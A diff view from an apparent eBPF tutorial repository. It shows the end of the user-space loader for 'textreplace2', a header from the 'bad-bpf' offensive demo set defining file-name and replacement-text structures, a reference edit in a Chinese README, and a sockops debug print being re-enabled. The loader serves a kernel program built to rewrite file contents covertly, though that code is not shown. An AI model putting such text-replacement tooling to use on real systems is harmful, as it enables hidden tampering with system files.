fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno));
goto cleanup;
}
if (env.detatch) {
err = pin_stuff(skel);
if (err) {
fprintf(stderr, "Failed to pin stuff\n");
goto cleanup;
}
printf("----------------------------------\n");
printf("----------------------------------\n");
printf("Successfully started!\n");
printf("Please run `sudo cat /sys/kernel/debug/tracing/trace_pipe` "
"to see output of the BPF programs.\n");
printf("Files are pinned in folder %s\n", base_folder);
printf("To stop programs, run 'sudo rm -r%s'\n", base_folder);
}
else {
// Set up ring buffer
rb = ring_buffer__new(bpf_map__fd( skel->maps.rb), handle_event, NULL, NULL);
if (!rb) {
err = -1;
fprintf(stderr, "Failed to create ring buffer\n");
goto cleanup;
}
printf("Successfully started!\n");
while (!exiting) {
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
/* Ctrl-C will cause -EINTR */
if (err == -EINTR) {
err = 0;
break;
}
if (err < 0) {
printf("Error polling perf buffer: %d\n", err);
break;
}
}
}
cleanup:
textreplace2_bpf__destroy(skel);
if (err != 0) {
cleanup_pins();
}
return -err;
}

View File

@@ -0,0 +1,35 @@
// SPDX-License-Identifier: BSD-3-Clause
#ifndef BAD_BPF_COMMON_H
#define BAD_BPF_COMMON_H
// These are used by a number of
// different programs to sync eBPF Tail Call
// login between user space and kernel
#define PROG_00 0
#define PROG_01 1
#define PROG_02 2
// Used when replacing text
#define FILENAME_LEN_MAX 50
#define TEXT_LEN_MAX 20
// Simple message structure to get events from eBPF Programs
// in the kernel to user spcae
#define TASK_COMM_LEN 16
struct event {
int pid;
char comm[TASK_COMM_LEN];
bool success;
};
struct tr_file {
char filename[FILENAME_LEN_MAX];
unsigned int filename_len;
};
struct tr_text {
char text[TEXT_LEN_MAX];
unsigned int text_len;
};
#endif // BAD_BPF_COMMON_H

View File

@@ -70,7 +70,7 @@ iperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095
sudo ./unload.sh
```
## 参考资料和源代码来源
## 参考资料
- <https://github.com/zachidan/ebpf-sockops>
- <https://github.com/merbridge/merbridge>

View File

@@ -33,7 +33,7 @@ int bpf_sockmap(struct bpf_sock_ops *skops)
family = skops->family;
op = skops->op;
//printk("<<< op %d, port = %d --> %d\n", op, skops->local_port, skops->remote_port);
printk("<<< op %d, port = %d --> %d\n", op, skops->local_port, skops->remote_port);
switch (op) {
case BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB:
case BPF_SOCK_OPS_ACTIVE_ESTABLISHED_CB: